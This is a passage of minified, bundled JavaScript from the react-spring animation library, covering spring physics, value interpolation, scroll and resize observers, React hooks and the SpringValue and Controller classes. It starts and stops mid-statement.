RegExp(`(${Object.keys(dist_esm_c).join("|")})(?!\\w)`,"g"):/^\b$/);let t=e.output.map(o=>ve(o).replace(dist_esm_b,esm_N).replace(esm_Oe,D).replace(_,D)),r=t.map(o=>o.match(O).map(Number)),f=r[0].map((o,i)=>r.map(s=>{if(!(i in s))throw Error('The arity of each "output" value must be equal');return s[i]})).map(o=>W({...e,output:o}));return o=>{let i=!K.test(t[0])&&t.find(x=>K.test(x))?.replace(O,""),s=0;return t[0].replace(O,()=>`${f[s++](o)}${i||""}`).replace(we,esm_Ke)}};var Z="react-spring: ",Te=e=>{let t=e,r=!1;if(typeof t!="function")throw new TypeError(`${Z}once requires a function parameter`);return(...n)=>{r||(t(...n),r=!0)}},Ne=Te(console.warn);function Jt(){Ne(`${Z}The "interpolate" function is deprecated in v9 (use "to" instead)`)}var _e=Te(console.warn);function er(){_e(`${Z}Directly calling start instead of using the api object is deprecated in v9 (use ".start" instead), this will be removed in later 0.X.0 versions`)}function esm_or(e){return dist_esm_l.str(e)&&(e[0]=="#"||/\d/.test(e)||!dist_esm_h()&&dist_esm_b.test(e)||e in(dist_esm_c||{}))}var dist_esm_v,q=new WeakMap,Ze=e=>e.forEach(({target:t,contentRect:r})=>q.get(t)?.forEach(n=>n(r)));function Fe(e,t){dist_esm_v||typeof ResizeObserver<"u"&&(dist_esm_v=new ResizeObserver(Ze));let r=q.get(t);return r||(r=new Set,q.set(t,r)),r.add(e),dist_esm_v&&dist_esm_v.observe(t),()=>{let n=q.get(t);!n||(n.delete(e),!n.size&&dist_esm_v&&dist_esm_v.unobserve(t))}}var esm_$=new Set,dist_esm_w,esm_Xe=()=>{let e=()=>{esm_$.forEach(t=>t({width:window.innerWidth,height:window.innerHeight}))};return window.addEventListener("resize",e),()=>{window.removeEventListener("resize",e)}},Ie=e=>(esm_$.add(e),dist_esm_w||(dist_esm_w=esm_Xe()),()=>{esm_$.delete(e),!esm_$.size&&dist_esm_w&&(dist_esm_w(),dist_esm_w=void 0)});var ke=(e,{container:t=document.documentElement}={})=>t===document.documentElement?Ie(e):Fe(e,t);var Se=(e,t,r)=>t-e===0?1:(r-e)/(t-e);var esm_Ye={x:{length:"Width",position:"Left"},y:{length:"Height",position:"Top"}},esm_G=class{callback;container;info;constructor(t,r){this.callback=t,this.container=r,this.info={time:0,x:this.createAxis(),y:this.createAxis()}}createAxis=()=>({current:0,progress:0,scrollLength:0});updateAxis=t=>{let r=this.info[t],{length:n,position:f}=esm_Ye[t];r.current=this.container[`scroll${f}`],r.scrollLength=this.container["scroll"+n]-this.container["client"+n],r.progress=Se(0,r.scrollLength,r.current)};update=()=>{this.updateAxis("x"),this.updateAxis("y")};sendEvent=()=>{this.callback(this.info)};advance=()=>{this.update(),this.sendEvent()}};var esm_T=new WeakMap,Ae=new WeakMap,X=new WeakMap,Me=e=>e===document.documentElement?window:e,yr=(e,{container:t=document.documentElement}={})=>{let r=X.get(t);r||(r=new Set,X.set(t,r));let n=new esm_G(e,t);if(r.add(n),!esm_T.has(t)){let o=()=>(r?.forEach(s=>s.advance()),!0);esm_T.set(t,o);let i=Me(t);window.addEventListener("resize",o,{passive:!0}),t!==document.documentElement&&Ae.set(t,ke(o,{container:t})),i.addEventListener("scroll",o,{passive:!0})}let f=esm_T.get(t);return Re(f),()=>{Re.cancel(f);let o=X.get(t);if(!o||(o.delete(n),o.size))return;let i=esm_T.get(t);esm_T.delete(t),i&&(Me(t).removeEventListener("scroll",i),window.removeEventListener("resize",i),Ae.get(t)?.())}};function Er(e){let t=Je(null);return t.current===null&&(t.current=e()),t.current}var esm_Q=dist_esm_h()?external_React_.useEffect:external_React_.useLayoutEffect;var Ce=()=>{let e=(0,external_React_.useRef)(!1);return esm_Q(()=>(e.current=!0,()=>{e.current=!1}),[]),e};function Mr(){let e=(0,external_React_.useState)()[1],t=Ce();return()=>{t.current&&e(Math.random())}}function Lr(e,t){let[r]=(0,external_React_.useState)(()=>({inputs:t,result:e()})),n=(0,external_React_.useRef)(),f=n.current,o=f;return o?Boolean(t&&o.inputs&&it(t,o.inputs))||(o={inputs:t,result:e()}):o=r,(0,external_React_.useEffect)(()=>{n.current=o,f==r&&(r.inputs=r.result=void 0)},[o]),o.result}function it(e,t){if(e.length!==t.length)return!1;for(let r=0;r<e.length;r++)if(e[r]!==t[r])return!1;return!0}var $r=e=>(0,external_React_.useEffect)(e,ut),ut=[];function Ur(e){let t=ct();return lt(()=>{t.current=e}),t.current}var Wr=()=>{let[e,t]=dt(null);return esm_Q(()=>{let r=window.matchMedia("(prefers-reduced-motion)"),n=f=>{t(f.matches),U({skipAnimation:f.matches})};return n(r),r.addEventListener("change",n),()=>{r.removeEventListener("change",n)}},[]),e};
;// ./node_modules/@react-spring/animated/dist/esm/index.js
var animated_dist_esm_h=Symbol.for("Animated:node"),animated_dist_esm_v=e=>!!e&&e[animated_dist_esm_h]===e,dist_esm_k=e=>e&&e[animated_dist_esm_h],esm_D=(e,t)=>mt(e,animated_dist_esm_h,t),F=e=>e&&e[animated_dist_esm_h]&&e[animated_dist_esm_h].getPayload(),animated_dist_esm_c=class{payload;constructor(){esm_D(this,this)}getPayload(){return this.payload||[]}};var animated_dist_esm_l=class extends animated_dist_esm_c{constructor(r){super();this._value=r;dist_esm_l.num(this._value)&&(this.lastPosition=this._value)}done=!0;elapsedTime;lastPosition;lastVelocity;v0;durationProgress=0;static create(r){return new animated_dist_esm_l(r)}getPayload(){return[this]}getValue(){return this._value}setValue(r,n){return dist_esm_l.num(r)&&(this.lastPosition=r,n&&(r=Math.round(r/n)*n,this.done&&(this.lastPosition=r))),this._value===r?!1:(this._value=r,!0)}reset(){let{done:r}=this;this.done=!1,dist_esm_l.num(this._value)&&(this.elapsedTime=0,this.durationProgress=0,this.lastPosition=this._value,r&&(this.lastVelocity=null),this.v0=null)}};var animated_dist_esm_d=class extends animated_dist_esm_l{_string=null;_toString;constructor(t){super(0),this._toString=W({output:[t,t]})}static create(t){return new animated_dist_esm_d(t)}getValue(){let t=this._string;return t??(this._string=this._toString(this._value))}setValue(t){if(dist_esm_l.str(t)){if(t==this._string)return!1;this._string=t,this._value=1}else if(super.setValue(t))this._string=null;else return!1;return!0}reset(t){t&&(this._toString=W({output:[this.getValue(),t]})),this._value=0,super.reset()}};var dist_esm_f={dependencies:null};var animated_dist_esm_u=class extends animated_dist_esm_c{constructor(r){super();this.source=r;this.setValue(r)}getValue(r){let n={};return xt(this.source,(a,i)=>{animated_dist_esm_v(a)?n[i]=a.getValue(r):Pt(a)?n[i]=ve(a):r||(n[i]=a)}),n}setValue(r){this.source=r,this.payload=this._makePayload(r)}reset(){this.payload&&esm_Ve(this.payload,r=>r.reset())}_makePayload(r){if(r){let n=new Set;return xt(r,this._addToPayload,n),Array.from(n)}}_addToPayload(r){dist_esm_f.dependencies&&Pt(r)&&dist_esm_f.dependencies.add(r);let n=F(r);n&&esm_Ve(n,a=>this.add(a))}};var animated_dist_esm_y=class extends animated_dist_esm_u{constructor(t){super(t)}static create(t){return new animated_dist_esm_y(t)}getValue(){return this.source.map(t=>t.getValue())}setValue(t){let r=this.getPayload();return t.length==r.length?r.map((n,a)=>n.setValue(t[a])).some(Boolean):(super.setValue(t.map(dist_esm_z)),!0)}};function dist_esm_z(e){return(esm_or(e)?animated_dist_esm_d:animated_dist_esm_l).create(e)}function esm_Le(e){let t=dist_esm_k(e);return t?t.constructor:dist_esm_l.arr(e)?animated_dist_esm_y:esm_or(e)?animated_dist_esm_d:animated_dist_esm_l}var dist_esm_x=(e,t)=>{let r=!dist_esm_l.fun(e)||e.prototype&&e.prototype.isReactComponent;return (0,external_React_.forwardRef)((n,a)=>{let i=(0,external_React_.useRef)(null),o=r&&(0,external_React_.useCallback)(s=>{i.current=esm_ae(a,s)},[a]),[m,T]=esm_ne(n,t),W=Mr(),P=()=>{let s=i.current;if(r&&!s)return;(s?t.applyAnimatedValues(s,m.getValue(!0)):!1)===!1&&W()},_=new animated_dist_esm_b(P,T),p=(0,external_React_.useRef)();esm_Q(()=>(p.current=_,esm_Ve(T,s=>Gt(s,_)),()=>{p.current&&(esm_Ve(p.current.deps,s=>Qt(s,p.current)),esm_n.cancel(p.current.update))})),(0,external_React_.useEffect)(P,[]),$r(()=>()=>{let s=p.current;esm_Ve(s.deps,S=>Qt(S,s))});let $=t.getComponentProps(m.getValue());return external_React_.createElement(e,{...$,ref:o})})},animated_dist_esm_b=class{constructor(t,r){this.update=t;this.deps=r}eventObserved(t){t.type=="change"&&esm_n.write(this.update)}};function esm_ne(e,t){let r=new Set;return dist_esm_f.dependencies=r,e.style&&(e={...e,style:t.createAnimatedStyle(e.style)}),e=new animated_dist_esm_u(e),dist_esm_f.dependencies=null,[e,r]}function esm_ae(e,t){return e&&(dist_esm_l.fun(e)?e(t):e.current=t),t}var dist_esm_j=Symbol.for("AnimatedComponent"),dist_esm_Ke=(e,{applyAnimatedValues:t=()=>!1,createAnimatedStyle:r=a=>new animated_dist_esm_u(a),getComponentProps:n=a=>a}={})=>{let a={applyAnimatedValues:t,createAnimatedStyle:r,getComponentProps:n},i=o=>{let m=esm_I(o)||"Anonymous";return dist_esm_l.str(o)?o=i[o]||(i[o]=dist_esm_x(o,a)):o=o[dist_esm_j]||(o[dist_esm_j]=dist_esm_x(o,a)),o.displayName=`Animated(${m})`,o};return xt(e,(o,m)=>{dist_esm_l.arr(e)&&(m=esm_I(o)),i[m]=i(o)}),{animated:i}},esm_I=e=>dist_esm_l.str(e)?e:e&&dist_esm_l.str(e.displayName)?e.displayName:dist_esm_l.fun(e)&&e.name||null;
;// ./node_modules/@react-spring/core/dist/esm/index.js
function dist_esm_I(t,...e){return dist_esm_l.fun(t)?t(...e):t}var esm_te=(t,e)=>t===!0||!!(e&&t&&(dist_esm_l.fun(t)?t(e):ht(t).includes(e))),et=(t,e)=>dist_esm_l.obj(t)?e&&t[e]:t;var esm_ke=(t,e)=>t.default===!0?t[e]:t.default?t.default[e]:void 0,nn=t=>t,dist_esm_ne=(t,e=nn)=>{let n=rn;t.default&&t.default!==!0&&(t=t.default,n=Object.keys(t));let r={};for(let o of n){let s=e(t[o],o);dist_esm_l.und(s)||(r[o]=s)}return r},rn=["config","onProps","onStart","onChange","onPause","onResume","onRest"],on={config:1,from:1,to:1,ref:1,loop:1,reset:1,pause:1,cancel:1,reverse:1,immediate:1,default:1,delay:1,onProps:1,onStart:1,onChange:1,onPause:1,onResume:1,onRest:1,onResolve:1,items:1,trail:1,sort:1,expires:1,initial:1,enter:1,update:1,leave:1,children:1,onDestroyed:1,keys:1,callId:1,parentId:1};function sn(t){let e={},n=0;if(xt(t,(r,o)=>{on[o]||(e[o]=r,n++)}),n)return e}function esm_de(t){let e=sn(t);if(e){let n={to:e};return xt(t,(r,o)=>o in e||(n[o]=r)),n}return{...t}}function esm_me(t){return t=ve(t),dist_esm_l.arr(t)?t.map(esm_me):esm_or(t)?dist_esm_p.createStringInterpolator({range:[0,1],output:[t,t]})(1):t}function esm_Ue(t){for(let e in t)return!0;return!1}function esm_Ee(t){return dist_esm_l.fun(t)||dist_esm_l.arr(t)&&dist_esm_l.obj(t[0])}function esm_xe(t,e){t.ref?.delete(t),e?.delete(t)}function esm_he(t,e){e&&t.ref!==e&&(t.ref?.delete(t),e.add(t),t.ref=e)}function wr(t,e,n=1e3){an(()=>{if(e){let r=0;ge(t,(o,s)=>{let a=o.current;if(a.length){let i=n*e[s];isNaN(i)?i=r:r=i,ge(a,u=>{ge(u.queue,p=>{let f=p.delay;p.delay=d=>i+dist_esm_I(f||0,d)})}),o.start()}})}else{let r=Promise.resolve();ge(t,o=>{let s=o.current;if(s.length){let a=s.map(i=>{let u=i.queue;return i.queue=[],u});r=r.then(()=>(ge(s,(i,u)=>ge(a[u]||[],p=>i.queue.push(p))),Promise.all(o.start())))}})}})}var esm_mt={default:{tension:170,friction:26},gentle:{tension:120,friction:14},wobbly:{tension:180,friction:12},stiff:{tension:210,friction:20},slow:{tension:280,friction:60},molasses:{tension:280,friction:120}};var tt={...esm_mt.default,mass:1,damping:1,easing:Lt.linear,clamp:!1},esm_we=class{tension;friction;frequency;damping;mass;velocity=0;restVelocity;precision;progress;duration;easing;clamp;bounce;decay;round;constructor(){Object.assign(this,tt)}};function gt(t,e,n){n&&(n={...n},esm_ht(n,e),e={...n,...e}),esm_ht(t,e),Object.assign(t,e);for(let a in tt)t[a]==null&&(t[a]=tt[a]);let{mass:r,frequency:o,damping:s}=t;return dist_esm_l.und(o)||(o<.01&&(o=.01),s<0&&(s=0),t.tension=Math.pow(2*Math.PI/o,2)*r,t.friction=4*Math.PI*s*r/o),t}function esm_ht(t,e){if(!dist_esm_l.und(e.decay))t.duration=void 0;else{let n=!dist_esm_l.und(e.tension)||!dist_esm_l.und(e.friction);(n||!dist_esm_l.und(e.frequency)||!dist_esm_l.und(e.damping)||!dist_esm_l.und(e.mass))&&(t.duration=void 0,t.decay=void 0),n&&(t.frequency=void 0)}}var esm_yt=[],dist_esm_Le=class{changed=!1;values=esm_yt;toValues=null;fromValues=esm_yt;to;from;config=new esm_we;immediate=!1};function esm_Me(t,{key:e,props:n,defaultProps:r,state:o,actions:s}){return new Promise((a,i)=>{let u,p,f=esm_te(n.cancel??r?.cancel,e);if(f)b();else{dist_esm_l.und(n.pause)||(o.paused=esm_te(n.pause,e));let c=r?.pause;c!==!0&&(c=o.paused||esm_te(c,e)),u=dist_esm_I(n.delay||0,e),c?(o.resumeQueue.add(m),s.pause()):(s.resume(),m())}function d(){o.resumeQueue.add(m),o.timeouts.delete(p),p.cancel(),u=p.time-esm_n.now()}function m(){u>0&&!dist_esm_p.skipAnimation?(o.delayed=!0,p=esm_n.setTimeout(b,u),o.pauseQueue.add(d),o.timeouts.add(p)):b()}function b(){o.delayed&&(o.delayed=!1),o.pauseQueue.delete(d),o.timeouts.delete(p),t<=(o.cancelId||0)&&(f=!0);try{s.start({...n,callId:t,cancel:f},a)}catch(c){i(c)}}})}var esm_be=(t,e)=>e.length==1?e[0]:e.some(n=>n.cancelled)?esm_q(t.get()):e.every(n=>n.noop)?nt(t.get()):dist_esm_E(t.get(),e.every(n=>n.finished)),nt=t=>({value:t,noop:!0,finished:!0,cancelled:!1}),dist_esm_E=(t,e,n=!1)=>({value:t,finished:e,cancelled:n}),esm_q=t=>({value:t,cancelled:!0,finished:!1});function esm_De(t,e,n,r){let{callId:o,parentId:s,onRest:a}=e,{asyncTo:i,promise:u}=n;return!s&&t===i&&!e.reset?u:n.promise=(async()=>{n.asyncId=o,n.asyncTo=t;let p=dist_esm_ne(e,(l,h)=>h==="onRest"?void 0:l),f,d,m=new Promise((l,h)=>(f=l,d=h)),b=l=>{let h=o<=(n.cancelId||0)&&esm_q(r)||o!==n.asyncId&&dist_esm_E(r,!1);if(h)throw l.result=h,d(l),l},c=(l,h)=>{let g=new esm_Ae,x=new esm_Ne;return(async()=>{if(dist_esm_p.skipAnimation)throw esm_oe(n),x.result=dist_esm_E(r,!1),d(x),x;b(g);let S=dist_esm_l.obj(l)?{...l}:{...h,to:l};S.parentId=o,xt(p,(V,_)=>{dist_esm_l.und(S[_])&&(S[_]=V)});let A=await r.start(S);return b(g),n.paused&&await new Promise(V=>{n.resumeQueue.add(V)}),A})()},P;if(dist_esm_p.skipAnimation)return esm_oe(n),dist_esm_E(r,!1);try{let l;dist_esm_l.arr(t)?l=(async h=>{for(let g of h)await c(g)})(t):l=Promise.resolve(t(c,r.stop.bind(r))),await Promise.all([l.then(f),m]),P=dist_esm_E(r.get(),!0,!1)}catch(l){if(l instanceof esm_Ae)P=l.result;else if(l instanceof esm_Ne)P=l.result;else throw l}finally{o==n.asyncId&&(n.asyncId=s,n.asyncTo=s?i:void 0,n.promise=s?u:void 0)}return dist_esm_l.fun(a)&&esm_n.batchedUpdates(()=>{a(P,r,r.item)}),P})()}function esm_oe(t,e){Pe(t.timeouts,n=>n.cancel()),t.pauseQueue.clear(),t.resumeQueue.clear(),t.asyncId=t.asyncTo=t.promise=void 0,e&&(t.cancelId=e)}var esm_Ae=class extends Error{result;constructor(){super("An async animation has been interrupted. You see this error because you forgot to use `await` or `.catch(...)` on its returned promise.")}},esm_Ne=class extends Error{result;constructor(){super("SkipAnimationSignal")}};var esm_Re=t=>t instanceof esm_X,Sn=1,esm_X=class extends esm_ge{id=Sn++;_priority=0;get priority(){return this._priority}set priority(e){this._priority!=e&&(this._priority=e,this._onPriorityChange(e))}get(){let e=dist_esm_k(this);return e&&e.getValue()}to(...e){return dist_esm_p.to(this,e)}interpolate(...e){return Jt(),dist_esm_p.to(this,e)}toJSON(){return this.get()}observerAdded(e){e==1&&this._attach()}observerRemoved(e){e==0&&this._detach()}_attach(){}_detach(){}_onChange(e,n=!1){$t(this,{type:"change",parent:this,value:e,idle:n})}_onPriorityChange(e){this.idle||qe.sort(this),$t(this,{type:"priority",parent:this,priority:e})}};var esm_se=Symbol.for("SpringPhase"),esm_bt=1,rt=2,ot=4,esm_qe=t=>(t[esm_se]&esm_bt)>0,dist_esm_Q=t=>(t[esm_se]&rt)>0,esm_ye=t=>(t[esm_se]&ot)>0,st=(t,e)=>e?t[esm_se]|=rt|esm_bt:t[esm_se]&=~rt,esm_it=(t,e)=>e?t[esm_se]|=ot:t[esm_se]&=~ot;var esm_ue=class extends esm_X{key;animation=new dist_esm_Le;queue;defaultProps={};_state={paused:!1,delayed:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set};_pendingCalls=new Set;_lastCallId=0;_lastToId=0;_memoizedDuration=0;constructor(e,n){if(super(),!dist_esm_l.und(e)||!dist_esm_l.und(n)){let r=dist_esm_l.obj(e)?{...e}:{...n,from:e};dist_esm_l.und(r.default)&&(r.default=!0),this.start(r)}}get idle(){return!(dist_esm_Q(this)||this._state.asyncTo)||esm_ye(this)}get goal(){return ve(this.animation.to)}get velocity(){let e=dist_esm_k(this);return e instanceof animated_dist_esm_l?e.lastVelocity||0:e.getPayload().map(n=>n.lastVelocity||0)}get hasAnimated(){return esm_qe(this)}get isAnimating(){return dist_esm_Q(this)}get isPaused(){return esm_ye(this)}get isDelayed(){return this._state.delayed}advance(e){let n=!0,r=!1,o=this.animation,{config:s,toValues:a}=o,i=F(o.to);!i&&Pt(o.to)&&(a=ht(ve(o.to))),o.values.forEach((f,d)=>{if(f.done)return;let m=f.constructor==animated_dist_esm_d?1:i?i[d].lastPosition:a[d],b=o.immediate,c=m;if(!b){if(c=f.lastPosition,s.tension<=0){f.done=!0;return}let P=f.elapsedTime+=e,l=o.fromValues[d],h=f.v0!=null?f.v0:f.v0=dist_esm_l.arr(s.velocity)?s.velocity[d]:s.velocity,g,x=s.precision||(l==m?.005:Math.min(1,Math.abs(m-l)*.001));if(dist_esm_l.und(s.duration))if(s.decay){let S=s.decay===!0?.998:s.decay,A=Math.exp(-(1-S)*P);c=l+h/(1-S)*(1-A),b=Math.abs(f.lastPosition-c)<=x,g=h*A}else{g=f.lastVelocity==null?h:f.lastVelocity;let S=s.restVelocity||x/10,A=s.clamp?0:s.bounce,V=!dist_esm_l.und(A),_=l==m?f.v0>0:l<m,v,w=!1,C=1,$=Math.ceil(e/C);for(let L=0;L<$&&(v=Math.abs(g)>S,!(!v&&(b=Math.abs(m-c)<=x,b)));++L){V&&(w=c==m||c>m==_,w&&(g=-g*A,c=m));let N=-s.tension*1e-6*(c-m),y=-s.friction*.001*g,T=(N+y)/s.mass;g=g+T*C,c=c+g*C}}else{let S=1;s.duration>0&&(this._memoizedDuration!==s.duration&&(this._memoizedDuration=s.duration,f.durationProgress>0&&(f.elapsedTime=s.duration*f.durationProgress,P=f.elapsedTime+=e)),S=(s.progress||0)+P/this._memoizedDuration,S=S>1?1:S<0?0:S,f.durationProgress=S),c=l+s.easing(S)*(m-l),g=(c-f.lastPosition)/e,b=S==1}f.lastVelocity=g,Number.isNaN(c)&&(console.warn("Got NaN while animating:",this),b=!0)}i&&!i[d].done&&(b=!1),b?f.done=!0:n=!1,f.setValue(c,s.round)&&(r=!0)});let u=dist_esm_k(this),p=u.getValue();if(n){let f=ve(o.to);(p!==f||r)&&!s.decay?(u.setValue(f),this._onChange(f)):r&&s.decay&&this._onChange(p),this._stop()}else r&&this._onChange(p)}set(e){return esm_n.batchedUpdates(()=>{this._stop(),this._focus(e),this._set(e)}),this}pause(){this._update({pause:!0})}resume(){this._update({pause:!1})}finish(){if(dist_esm_Q(this)){let{to:e,config:n}=this.animation;esm_n.batchedUpdates(()=>{this._onStart(),n.decay||this._set(e,!1),this._stop()})}return this}update(e){return(this.queue||(this.queue=[])).push(e),this}start(e,n){let r;return dist_esm_l.und(e)?(r=this.queue||[],this.queue=[]):r=[dist_esm_l.obj(e)?e:{...n,to:e}],Promise.all(r.map(o=>this._update(o))).then(o=>esm_be(this,o))}stop(e){let{to:n}=this.animation;return this._focus(this.get()),esm_oe(this._state,e&&this._lastCallId),esm_n.batchedUpdates(()=>this._stop(n,e)),this}reset(){this._update({reset:!0})}eventObserved(e){e.type=="change"?this._start():e.type=="priority"&&(this.priority=e.priority+1)}_prepareNode(e){let n=this.key||"",{to:r,from:o}=e;r=dist_esm_l.obj(r)?r[n]:r,(r==null||esm_Ee(r))&&(r=void 0),o=dist_esm_l.obj(o)?o[n]:o,o==null&&(o=void 0);let s={to:r,from:o};return esm_qe(this)||(e.reverse&&([r,o]=[o,r]),o=ve(o),dist_esm_l.und(o)?dist_esm_k(this)||this._set(r):this._set(o)),s}_update({...e},n){let{key:r,defaultProps:o}=this;e.default&&Object.assign(o,dist_esm_ne(e,(i,u)=>/^on/.test(u)?et(i,r):i)),_t(this,e,"onProps"),esm_Ie(this,"onProps",e,this);let s=this._prepareNode(e);if(Object.isFrozen(this))throw Error("Cannot animate a `SpringValue` object that is frozen. Did you forget to pass your component to `animated(...)` before animating its props?");let a=this._state;return esm_Me(++this._lastCallId,{key:r,props:e,defaultProps:o,state:a,actions:{pause:()=>{esm_ye(this)||(esm_it(this,!0),yt(a.pauseQueue),esm_Ie(this,"onPause",dist_esm_E(this,esm_Ce(this,this.animation.to)),this))},resume:()=>{esm_ye(this)&&(esm_it(this,!1),dist_esm_Q(this)&&this._resume(),yt(a.resumeQueue),esm_Ie(this,"onResume",dist_esm_E(this,esm_Ce(this,this.animation.to)),this))},start:this._merge.bind(this,s)}}).then(i=>{if(e.loop&&i.finished&&!(n&&i.noop)){let u=at(e);if(u)return this._update(u,!0)}return i})}_merge(e,n,r){if(n.cancel)return this.stop(!0),r(esm_q(this));let o=!dist_esm_l.und(e.to),s=!dist_esm_l.und(e.from);if(o||s)if(n.callId>this._lastToId)this._lastToId=n.callId;else return r(esm_q(this));let{key:a,defaultProps:i,animation:u}=this,{to:p,from:f}=u,{to:d=p,from:m=f}=e;s&&!o&&(!n.default||dist_esm_l.und(d))&&(d=m),n.reverse&&([d,m]=[m,d]);let b=!bt(m,f);b&&(u.from=m),m=ve(m);let c=!bt(d,p);c&&this._focus(d);let P=esm_Ee(n.to),{config:l}=u,{decay:h,velocity:g}=l;(o||s)&&(l.velocity=0),n.config&&!P&>(l,dist_esm_I(n.config,a),n.config!==i.config?dist_esm_I(i.config,a):void 0);let x=dist_esm_k(this);if(!x||dist_esm_l.und(d))return r(dist_esm_E(this,!0));let S=dist_esm_l.und(n.reset)?s&&!n.default:!dist_esm_l.und(m)&&esm_te(n.reset,a),A=S?m:this.get(),V=esm_me(d),_=dist_esm_l.num(V)||dist_esm_l.arr(V)||esm_or(V),v=!P&&(!_||esm_te(i.immediate||n.immediate,a));if(c){let L=esm_Le(d);if(L!==x.constructor)if(v)x=this._set(V);else throw Error(`Cannot animate between ${x.constructor.name} and ${L.name}, as the "to" prop suggests`)}let w=x.constructor,C=Pt(d),$=!1;if(!C){let L=S||!esm_qe(this)&&b;(c||L)&&($=bt(esm_me(A),V),C=!$),(!bt(u.immediate,v)&&!v||!bt(l.decay,h)||!bt(l.velocity,g))&&(C=!0)}if($&&dist_esm_Q(this)&&(u.changed&&!S?C=!0:C||this._stop(p)),!P&&((C||Pt(p))&&(u.values=x.getPayload(),u.toValues=Pt(d)?null:w==animated_dist_esm_d?[1]:ht(V)),u.immediate!=v&&(u.immediate=v,!v&&!S&&this._set(p)),C)){let{onRest:L}=u;esm_Ve(_n,y=>_t(this,n,y));let N=dist_esm_E(this,esm_Ce(this,p));yt(this._pendingCalls,N),this._pendingCalls.add(r),u.changed&&esm_n.batchedUpdates(()=>{u.changed=!S,L?.(N,this),S?dist_esm_I(i.onRest,N):u.onStart?.(N,this)})}S&&this._set(A),P?r(esm_De(n.to,n,this._state,this)):C?this._start():dist_esm_Q(this)&&!c?this._pendingCalls.add(r):r(nt(A))}_focus(e){let n=this.animation;e!==n.to&&(esm_qt(this)&&this._detach(),n.to=e,esm_qt(this)&&this._attach())}_attach(){let e=0,{to:n}=this.animation;Pt(n)&&(Gt(n,this),esm_Re(n)&&(e=n.priority+1)),this.priority=e}_detach(){let{to:e}=this.animation;Pt(e)&&Qt(e,this)}_set(e,n=!0){let r=ve(e);if(!dist_esm_l.und(r)){let o=dist_esm_k(this);if(!o||!bt(r,o.getValue())){let s=esm_Le(r);!o||o.constructor!=s?esm_D(this,s.create(r)):o.setValue(r),o&&esm_n.batchedUpdates(()=>{this._onChange(r,n)})}}return dist_esm_k(this)}_onStart(){let e=this.animation;e.changed||(e.changed=!0,esm_Ie(this,"onStart",dist_esm_E(this,esm_Ce(this,e.to)),this))}_onChange(e,n){n||(this._onStart(),dist_esm_I(this.animation.onChange,e,this)),dist_esm_I(this.defaultProps.onChange,e,this),super._onChange(e,n)}_start(){let e=this.animation;dist_esm_k(this).reset(ve(e.to)),e.immediate||(e.fromValues=e.values.map(n=>n.lastPosition)),dist_esm_Q(this)||(st(this,!0),esm_ye(this)||this._resume())}_resume(){dist_esm_p.skipAnimation?this.finish():qe.start(this)}_stop(e,n){if(dist_esm_Q(this)){st(this,!1);let r=this.animation;esm_Ve(r.values,s=>{s.done=!0}),r.toValues&&(r.onChange=r.onPause=r.onResume=void 0),$t(this,{type:"idle",parent:this});let o=n?esm_q(this.get()):dist_esm_E(this.get(),esm_Ce(this,e??r.to));yt(this._pendingCalls,o),r.changed&&(r.changed=!1,esm_Ie(this,"onRest",o,this))}}};function esm_Ce(t,e){let n=esm_me(e),r=esm_me(t.get());return bt(r,n)}function at(t,e=t.loop,n=t.to){let r=dist_esm_I(e);if(r){let o=r!==!0&&esm_de(r),s=(o||t).reverse,a=!o||o.reset;return esm_Pe({...t,loop:e,default:!1,pause:void 0,to:!s||esm_Ee(n)?n:void 0,from:a?t.from:void 0,reset:a,...o})}}function esm_Pe(t){let{to:e,from:n}=t=esm_de(t),r=new Set;return dist_esm_l.obj(e)&&Vt(e,r),dist_esm_l.obj(n)&&Vt(n,r),t.keys=r.size?Array.from(r):null,t}function Ot(t){let e=esm_Pe(t);return R.und(e.default)&&(e.default=dist_esm_ne(e)),e}function Vt(t,e){xt(t,(n,r)=>n!=null&&e.add(r))}var _n=["onStart","onRest","onChange","onPause","onResume"];function _t(t,e,n){t.animation[n]=e[n]!==esm_ke(e,n)?et(e[n],t.key):void 0}function esm_Ie(t,e,...n){t.animation[e]?.(...n),t.defaultProps[e]?.(...n)}var Fn=["onStart","onChange","onRest"],kn=1,esm_le=class{id=kn++;springs={};queue=[];ref;_flush;_initialProps;_lastAsyncId=0;_active=new Set;_changed=new Set;_started=!1;_item;_state={paused:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set};_events={onStart:new Map,onChange:new Map,onRest:new Map};constructor(e,n){this._onFrame=this._onFrame.bind(this),n&&(this._flush=n),e&&this.start({default:!0,...e})}get idle(){return!this._state.asyncTo&&Object.values(this.springs).every(e=>e.idle&&!e.isDelayed&&!e.isPaused)}get item(){return this._item}set item(e){this._item=e}get(){let e={};return this.each((n,r)=>e[r]=n.get()),e}set(e){for(let n in e){let r=e[n];dist_esm_l.und(r)||this.springs[n].set(r)}}update(e){return e&&this.queue.push(esm_Pe(e)),this}start(e){let{queue:n}=this;return e?n=ht(e).map(esm_Pe):this.queue=[],this._flush?this._flush(this,n):(jt(this,n),esm_ze(this,n))}stop(e,n){if(e!==!!e&&(n=e),n){let r=this.springs;esm_Ve(ht(n),o=>r[o].stop(!!e))}else esm_oe(this._state,this._lastAsyncId),this.each(r=>r.stop(!!e));return this}pause(e){if(dist_esm_l.und(e))this.start({pause:!0});else{let n=this.springs;esm_Ve(ht(e),r=>n[r].pause())}return this}resume(e){if(dist_esm_l.und(e))this.start({pause:!1});else{let n=this.springs;esm_Ve(ht(e),r=>n[r].resume())}return this}each(e){xt(this.springs,e)}_onFrame(){let{onStart:e,onChange:n,onRest:r}=this._events,o=this._active.size>0,s=this._changed.size>0;(o&&!this._started||s&&!this._started)&&(this._started=!0,Pe(e,([u,p])=>{p.value=this.get(),u(p,this,this._item)}));let a=!o&&this._started,i=s||a&&r.size?this.get():null;s&&n.size&&Pe(n,([u,p])=>{p.value=i,u(p,this,this._item)}),a&&(this._started=!1,Pe(r,([u,p])=>{p.value=i,u(p,this,this._item)}))}eventObserved(e){if(e.type=="change")this._changed.add(e.parent),e.idle||this._active.add(e.parent);else if(e.type=="idle")this._active.delete(e.parent);else return;esm_n.onFrame(this._onFrame)}};function esm_ze(t,e){return Promise.all(e.map(n=>wt(t,n))).then(n=>esm_be(t,n))}async function wt(t,e,n){let{keys:r,to:o,from:s,loop:a,onRest:i,onResolve:u}=e,p=dist_esm_l.obj(e.default)&&e.default;a&&(e.loop=!1),o===!1&&(e.to=null),s===!1&&(e.from=null);let f=dist_esm_l.arr(o)||dist_esm_l.fun(o)?o:void 0;f?(e.to=void 0,e.onRest=void 0,p&&(p.onRest=void 